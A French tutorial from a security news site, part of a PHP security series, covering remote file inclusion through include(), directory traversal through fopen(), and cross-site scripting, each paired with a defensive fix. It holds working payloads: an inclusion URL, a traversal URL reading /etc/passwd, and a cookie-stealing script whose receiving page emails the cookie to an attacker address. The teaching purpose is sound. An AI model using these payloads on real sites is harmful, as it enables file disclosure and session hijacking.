Chercher :
Newsletter :  


Revues :
- Presse
- Presse FR
- Vidéos
- Twitter
- Secuobs





Sommaires :
- Tendances
- Failles
- Virus
- Concours
- Reportages
- Acteurs
- Outils
- Breves
- Infrastructures
- Livres
- Tutoriels
- Interviews
- Podcasts
- Communiques
- USBsploit
- Commentaires


Revue Presse:
- Tous
- Francophone
- Par mot clé
- Par site
- Le tagwall


Top bi-hebdo:
- Ensemble
- Articles
- Revue
- Videos
- Twitter
- Auteurs


Articles :
- Par mot clé
- Par auteur
- Par organisme
- Le tagwall


Videos :
- Toutes
- Par mot clé
- Par site
- Le tagwall


Twitter :
- Tous
- Par mot clé
- Par compte
- Le tagwall


Commentaires :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques


RSS/XML :
- Articles
- Commentaires
- Revue
- Revue FR
- Videos
- Twitter


RSS SecuObs :
- sécurité
- exploit
- windows
- attaque
- outil
- réseau


RSS Revue :
- security
- microsoft
- windows
- hacker
- attack
- network


RSS Videos :
- curit
- security
- biomet
- metasploit
- biometric
- cking


RSS Twitter :
- security
- linux
- botnet
- attack
- metasploit
- cisco


RSS Comments :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques


RSS OPML :
- Français
- International











Revue de presse francophone :
- PingOne et PingFederate certifiées ServiceNow
- Confidential CC annonce l'email qui s'auto-détruit après lecture
- VINCI Energies lance Axians, sa marque globale dédiée aux TIC
- Vigilance - Xen obtention d'information via XEN_DOMCTL_gettscinfo, analysé le 21 04 2015
- Vigilance - Chrome multiples vulnérabilités, analysé le 06 02 2015
- Nedap AEOS est lancée
- Comment connecter 300 geeks Le challenge 
- Darktrace reconnue comme Meilleure entreprise de sécurité de l'année lors du 11ème prix annuel d'excellence du Security Industry's Global 2015
- OVH et Zayo France s'associent pour favoriser l'accès au Cloud
- La plateforme FreeStor de stockage définie par logiciel et de service de données est disponible au niveau mondial
- OT et Swedbank renouvellent leur partenariat pour 6 ans pour la Suède et la région baltique
- Imperva étend les capacités de son service Cloud Incapsula aux entreprises de toutes tailles
- Mirantis déploie la première architecture de référence OpenStack avec EMC
- Didier Boutonnet rejoint T-Systems France en tant que Directeur du Développement
- AVG lance de nouvelles mises à jour d'optimisation de la performance pour PC, Mac et Android

Dernier articles de SecuObs :
- Renaud Bidou (Deny All): "L'innovation dans le domaine des WAFs s'oriente vers plus de bon sens et d'intelligence, plus de flexibilité et plus d'ergonomie"
- Mises à jour en perspective pour le système Vigik
- Les russes ont-ils pwn le système AEGIS ?
- Le ministère de l'intérieur censure une conférence au Canada
- Saut d'air gap, audit de firmware et (in)sécurité mobile au programme de Cansecwest 2014
- GCHQ: Le JTRIG torpille Anonymous qui torpille le JTRIG (ou pas)
- #FIC2014: Entrée en territoire inconnu
- Le Sénat investit dans les monnaies virtuelles
- #LPM2013: Un nouvel espoir ?
- L'ANSSI durcit le ton

Revue de presse internationale :
- Australian game hacker flees to Europe before trial
- Grooveshark is back already. Or is it
- As Security Software Is Wasted, Establishing a Secure Development Process Is Crucial
- A Simple Programmable 555
- Interview Matt Johansen, Director of Security Services at WhiteHat Security
- Nmap Cheat Sheet 5 The Final View of a Ninja Pentester
- Locating users with non-expiring passwords
- Office 2016 is About Collaboration, Could be Last Versioned Office
- More serious security flaws found in Lenovo computers
- Update NAFT Version 0.0.9
- An Example of Cell Phone Metadata Forensic Surveillance
- The Insider Threat Evolution A Conversation with CERT s Randy Trzeciak
- Netflix open sources FIDO, its automated incident response tool
- Just-released WordPress 0day makes it easy to hijack millions of websites Updated
- How to crack many Master Lock combinations in eight tries or less

Annuaire des videos
- FUZZING ON LINE PART THREE
- Official Maltego tutorial 5 Writing your own transforms
- Official Maltego tutorial 6 Integrating with SQL DBs
- Official Maltego tutorial 3 Importing CSVs spreadsheets
- install zeus botnet
- Eloy Magalhaes
- Official Maltego tutorial 1 Google s websites
- Official Maltego tutorial 4 Social Networks
- Blind String SQL Injection
- backdoor linux root from r57 php shell VPS khg crew redc00de
- How To Attaque Pc With Back Track 5 In Arabique
- RSA Todd Schomburg talks about Roundup Ready lines available in 2013
- Nessus Diagnostics Troubleshooting
- Panda Security Vidcast Panda GateDefender Performa Parte 2 de 2
- MultiPyInjector Shellcode Injection

Revue Twitter
- RT @fpalumbo: Cisco consistently leading the way ? buys vCider to boost its distributed cloud vision #CiscoONE
- @mckeay Looks odd... not much to go on (prob some slideshow/vid app under Linux)
- [SuggestedReading] Using the HTML5 Fullscreen API for Phishing Attacks
- RT @BrianHonan: Our problems are not technical but cultural. OWASP top 10 has not changed over the years @joshcorman #RSAC
- RT @mikko: Wow. Apple kernels actually have a function called PE_i_can_has_debugger:
- [Blog Spam] Metasploit and PowerShell payloads
- PinkiePie Strikes Again, Compromises Google Chrome in Pwnium Contest at Hack in the Box: For the second time thi...
- @mikko @fslabs y'all wldn't happen to have lat/long data sets for other botnets, wld you? Doing some research (free/open info rls when done)
- RT @nickhacks: Want to crash a remote host running Snow Leopard? Just use: nmap -P0 -6 --script=targets-ipv6-multicast-mld #wishiwaskidding
- An inexpensive proxy service called is actually a front for #malware distribution -

Mini-Tagwall
Revue de presse : security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone

+ de mots clés pour la revue de presse

Annuaires des videos : curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit

+ de mots clés pour les videos

Revue Twitter : security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall

+ de mots clés pour la revue Twitter

Top bi-hebdo des articles de SecuObs
- [Hacking Hardware - Partie 1] - Introduction et présentation
- [WiShMaster - Partie 1] Introduction à l'écriture de shellcodes en C
- [WiShMaster - partie 3] Principe de shellcodisation avec WiShMaster (2)
- [WiShMaster - partie 2] Principe de shellcodisation avec WiShMaster (1)
- [WiShMaster - partie 4] Principe et Fonctionnement - RConnect/WiShMaster Vs firewalls personnels (1)
- DFF, le metasploit du forensic
- Mises à jour en perspective pour le système Vigik
- [Sécurité et PHP - Partie 3] Les failles PHP
- [IDS Snort Windows – Partie 2] Installation et configuration
- Les russes ont-ils pwn le système AEGIS ?

Top bi-hebdo de la revue de presse
- 20 Mai Paris conférence GCIC L'Intelligence Economique d'Entreprise au défi du numérique
- Notrefamille.com a choisi d'installer Thunder d'A10 Networks
- A10 Networks améliore les fonctions de sécurité de Thunder ADC
- Smart City le citoyen est devenu un acteur 2.0 de sa ville
- Remote Debugging with QEMU and IDA Pro
- Le Groupe Charlet externalise toute sa DSI dans le cloud Coreye
- CNIL Avis sur la création du fichier des auteurs d'infractions terroristes FIJAIT
- Vigilance - EMC NetWorker obtention d'information via nsradmin, analysé le 30 07 2013
- Palo Alto Networks classé comme leader dans le Magic Quadrant des pare-feu de réseaux d'entreprises par Gartner
- Equinix inaugure un datacenter à  la pointe de la technique au Royaume-Uni, son sixième à  Londres

Top bi-hebdo de l'annuaire des videos
- An Tool to analyse tcpdump of Bit torrent and HTTP protocols
- pfSense Quick Look Firewall Content Filter Block Porn Web Proxy Cache
- Tutoriel Supprimer Cacaoweb Botnet
- Comment creer un server botnet!!!!(Réseau de pc zombies)
- Avoir des donuts illimit s sur le jeu Simpsons Springfield
- Official Maltego tutorial 5 Writing your own transforms
- Comment Pirater Un Ordinateur Avec Ubuntu Metasploit
- kali linux Collecte d adresses Email avec Metasploit
- install zeus botnet
- Win32 SMB Conficker Removal Tool

Top bi-hebdo de la revue Twitter
- Cisco's 2009 Annual Security Report - - (NB: I am emp by Cisco)
- crack.pl: md5/sha1 cracker/ rainbowtable generator
- RT @WTFuzz: I just wrote a (rather lengthy) blog post on a few java vulnerabilities, patched in java 1.6.19. Feel f ...
- RT @BrianHonan: Our problems are not technical but cultural. OWASP top 10 has not changed over the years @joshcorman #RSAC
- PinkiePie Strikes Again, Compromises Google Chrome in Pwnium Contest at Hack in the Box: For the second time thi...
- Newly discovered zero-day exploit bypasses UAC in Windows (bug in win32k.sys)
- [Blog Spam] Metasploit and PowerShell payloads
- RT @id084895: PBX #hacking moves into the professional domain as arrests stack up (a golden oldie #security)
- RT @b3h3m0th: [pdf] Kernel Hacking; Introduction to Linux Kernel 2.6How to write a Rootkit (very good work)
- IC-Discover DNS Mining Tool interesting :)

Top des articles les plus commentés
- [Metasploit 2.x – Partie 1] Introduction et présentation
- Microsoft !Exploitable un nouvel outil gratuit pour aider les développeurs à évaluer automatiquement les risques
- Webshag, un outil d'audit de serveur web
- Les navigateurs internet, des mini-systèmes d’exploitation hors de contrôle ?
- Yellowsn0w un utilitaire de déblocage SIM pour le firmware 2.2 des Iphone 3G
- CAINE un Live[CD|USB] pour faciliter la recherche légale de preuves numériques de compromission
- Nessus 4.0 placé sous le signe de la performance, de l'unification et de la personnalisation
- [Renforcement des fonctions de sécurité du noyau Linux – Partie 1] Présentation
- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT
- Origami pour forger, analyser et manipuler des fichiers PDF malicieux

Tutoriels

English version with Google Translate

[Sécurité et PHP - Partie 3] Les failles PHP

Par Rédaction, secuobs.com
Le 10/05/2008


Résumé : Les détails des vulnérabilités relatives à l'utilisation des fonctions include() et fopen() dans les scripts PHP ainsi celles associées aux failles de type Cross Site Scripting aussi connues sous l'acronyme XSS. Retrouvez également les principes de sécurisation liés à ces différents types de risques. - Lire l'article



NDLR : ce document a été rédigé en 2006, certaines versions ainsi que certaines configurations des logiciels utilisés selon ces versions peuvent être différentes de celles qui sont mentionnées ; merci de vous reporter vers les sites officiels des projets en question en cas de problème.


La fonction include()

Cette fonction est assez connue et utilisée. Elle permet de rendre du code modulaire en chargeant dynamiquement un fichier et en exécutant le code PHP qu'il contient .Elle gère également les fichiers locaux et les streams de type curl , http , ftp et php.

Ce qui permet alors d'injecter du code, un exemple avec le fichier « fichiervuln.php » se trouvant sur le site vulnérable :

<?
include($_REQUEST["page"]);
?>



Et un fichier « hack.txt » hébergé sur un site quelconque :

<?
phpinfo();
?>



Sur un site vulnérable on peut remarquer des liens de type « sitevuln.com/fichiervuln.php?page=contact.html », pour exploiter la faille en résultant il suffit d'aller simplement sur l'url « sitevuln.com/fichiervuln.php?page=monserver.com/hack.txt ».

On voit alors que la fonction phpinfo() a été exécutée. Un pirate peut alors prendre le contrôle du serveur et exécuter d'autres programmes en passant par les fonction system() ,exec() ou en passant par un exploit local PHP.

Pour sécuriser un include() il est nécessaire de valider correctement la variable d'entrée $_REQUEST["page"] :

<?
$inrep = "./";
$extfichier = ".php";
$page = $inrep.basename(strval($_REQUEST["page"]),$extfichier).$extfichier;
if(file_exist($page))
include($page);
?>



Par le passé, on a constaté beaucoup d'include sécurisés seulement avec la fonction file_exist() qui renvoie une réponse positive si le fichier existe en local.

A partir de la version 5 de PHP, cette fonction gère les streams et notamment les streams http, elle ne protège donc plus de l'injection de code a distance ni de l'injection de code par fichier local.

La fonction strval() n'est pas nécessaire sur les versions récentes de PHP. La meilleure façon de sécuriser un code PHP étant encore la suivante :

<?
switch($_REQUEST["page"])
{
case "contact.php":
include("contact.php");
break;
default:
break;
}
?>



Cette méthode est beaucoup moins modulaire, mais plus optimisée.


La fonction fopen()

La fonction fopen() est quant à elle très souvent utilisée et permet d’ouvrir un fichier ou un répertoire pour en afficher le contenu.

Généralement les failles liées à cette fonction sont de type « directory traversal », c'est-à-dire que l’utilisateur sort de l’arborescence de répertoires qui lui avait été normalement assignée.

<?
$filename = $_REQUEST["idimage"];
$filepath = "/rep/secret/".$filename;
$filesize = @filesize($filepath);

$ext = substr($filename, strrpos($filename, ".") + 1);
if ($ext == "jpg") $ext = "jpeg";

if(@file_exists($filepath)){
Header("HTTP/1.1 200 OK");
Header("Content-type: image/" . $ext);
Header("Content-Length: $filesize");
Header("Content-Disposition: filename=$filename");
Header("Content-Transfer-Encoding: binary");
Header("Cache-Control: store, cache"); // HTTP/1.1
Header("Pragma: cache");
$fp = fopen($filepath, "rb");
if (!fpassthru($fp)) fclose($fp);
}
exit;
?>



Ce script permet normalement d'uploader des images. Celles-ci sont stockées dans un répertoire non accessible via le serveur Web (Apache dans ce cas). Il faut donc passer par un script PHP pour voir les photo via une url de type « site.com/bimage.php?idimage=20050124.jpg »

En fait, ce script permet de lire n'importe quel fichier en local sur le serveur, avec une url comme celle-ci « site.com/bimage.php?idimage=../../../../../../../../../../../etc/passwd »


On récupère ici le fichier passwd du serveur. A l'aide du très connu "../" on remonte les répertoires, à noter que sur un système d'exploitation de type SUN Solaris la fonction fpassthru() permet de voir également le contenu d'un répertoire.

Sur d'autres systèmes d'exploitation, il est nécessaire d'utiliser les fonctions adéquates pour lister les répertoire suite à l'ouverture avec la fonction fopen() .

Cette vulnérabilité permet donc de voir le code source d'un fichier .htaccess ou celui d'un .htpasswd mais également les fichier php eux mêmes afin d'en extraire des logins et mots de passe SQL tout en cherchant d'autres failles à exploiter dans ces scripts.

Pour valider correctement les variables données en paramètre à un fopen() un filtre est alors nécessaire :

<?
// Filtrer ..\ n'est nécessaire que sur les systèmes d'exploitation de type Windows
if(eregi('../',$_REQUEST["idimage"]) || eregi('..\’,$_REQUEST["idimage"]))
{
echo "bad input";
exit();// on arrête le script
}
//sinon on continue
$badext = ".php" // on définit les extensions de fichiers à interdire
$filename = basename($filename,$badext); // permet de supprimer l'extension .php et de récupérer le nom du fichier sans les répertoires associés
$filepath = "/rep/secret/".$filename;
// suite normal du script etc etc
?>



Ne mettez pas une fonction de transcodage après avoir filtré une variable, sinon cela rendra le filtre complètement inutile et il serait alors facilement contournable.


XSS : Cross Site Scripting

Le Cross Site Scripting est une attaque coté client, elle s'effectue par injection de code HTML dans le navigateur. Le HTML étant un langage de description par balises il suffit généralement de pouvoir injecter les caractères < et > afin de pouvoir exploiter une vulnérabilité de ce type :

< ?
Echo "bienvenue ".$_REQUEST[nom] ;
?>



C’est le cas classique d’un XSS. Il suffit de visiter l'url « site.com/vuln.php?nom=<script>alert(1337)</script> » ; on peut donc injecter directement du code HTML, javascript et tous les types de code qu'un navigateur est habilité à exécuter.

Généralement les magic quote empêche une utilisation du javascript avec ce principe, mais là également on peut facilement le contourner avec une url telle que « site.com/vuln.php?badvar=%3Cscript%3Ealert%28%22helloworld%22
%29%3C/script%3E%3Cnoscript%3E%3Cscript%3E&nom=<script>document
.write(unescape(location.href))</script> »

La variable badvar contient le code javascript qui va afficher le « helloworld », on effectue un simple document.write() de l’adresse du site.

L’utilisation principale du XSS est le vol de cookie, son fonctionnement est très simple il suffit d’ouvrir une frame ou une fenêtre sur un fichier stockant le cookie passé en paramètre.

Le code javascript permettant de voler le cookie serait alors le suivant :


<script>document.location='www.votresite.com/page.php?cookie=' + document.cookie</script>:



La page page.php ressemblerait quant à elle à :

<?
$cookie = $_GET['cookie'];
mail(“mailduvoleur@hack.com”, “le cookie”, “$cookie”);
?>



Le voleur reçoit donc le cookie par email. Certains cookies contiennent des données sensibles qui peuvent permettre de s’identifier sur un site.

Pour se protéger du XSS il suffit de filtrer les variables avant de les afficher sur la sortie, ce filtrage s'effectue à l’aide de la fonction htmlspecialchars() qui va convertir la chaîne en caractères HTML « affichables » :

< ?
$out = htmlspecialchars($_REQUEST[nom]) ;
Echo "bienvenue ".$out;
?>



Autres ressources dans ce dossier :

[Sécurité et PHP - Partie 1] Les injections SQL – lien

[Sécurité et PHP - Partie 2] La gestion des sessions – lien

[Sécurité et PHP - Partie 4] RPVS – lien

[Sécurité et PHP - Partie 5] Astuces – int://www.secuobs.com/news/10052008-php_security5.shtml



- Article suivant : [Sécurité et PHP - Partie 4] Remote PHP Vulnerabilty Scanner
- Article précédent : [Sécurité et PHP - Partie 2] La gestion des sessions
- Article suivant dans la catégorie Tutoriels : [Sécurité et PHP - Partie 4] Remote PHP Vulnerabilty Scanner
- Article précédent dans la catégorie Tutoriels : [Sécurité et PHP - Partie 2] La gestion des sessions


Les derniers commentaires de la catégorie Tutoriels:
- UPDATE Snort 2.9.1.1 ...
- Apache Issues Patch To Stop Reverse-Proxy Bypass Attack ...
- ESRT @HackerTheDude @r0bertmart1nez @xanda @morenops - Kernel hacking the BSD way, new post ...
- ESRT @room362 - The Dirty Little Secrets They Didn't Teach You In Pentesting Class ...
- ESRT @jcran @dkarg - Metasploit Payloads VS Libemu - Alienvault Labs ...

Les derniers articles de la catégorie Tutoriels :
- PktAnon un framework pour l anonymat des traces PCAP
- [NessusWX – Partie 2] Audits et conclusion
- [NessusWX – Partie 1] Introduction, installation et configuration
- [IDS Snort Windows – Partie 4] Conclusion et webographie
- [IDS Snort Windows – Partie 3] Exemple de fichier de configuration
- [IDS Snort Windows – Partie 2] Installation et configuration
- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT
- [Sécurité et PHP - Partie 5] Astuces
- [Sécurité et PHP - Partie 4] Remote PHP Vulnerabilty Scanner
- [Sécurité et PHP - Partie 3] Les failles PHP




SecuToolBox :

Mini-Tagwall des articles publiés sur SecuObs :

Mini-Tagwall de l'annuaire video :

Mini-Tagwall des articles de la revue de presse :

Mini-Tagwall des Tweets de la revue Twitter :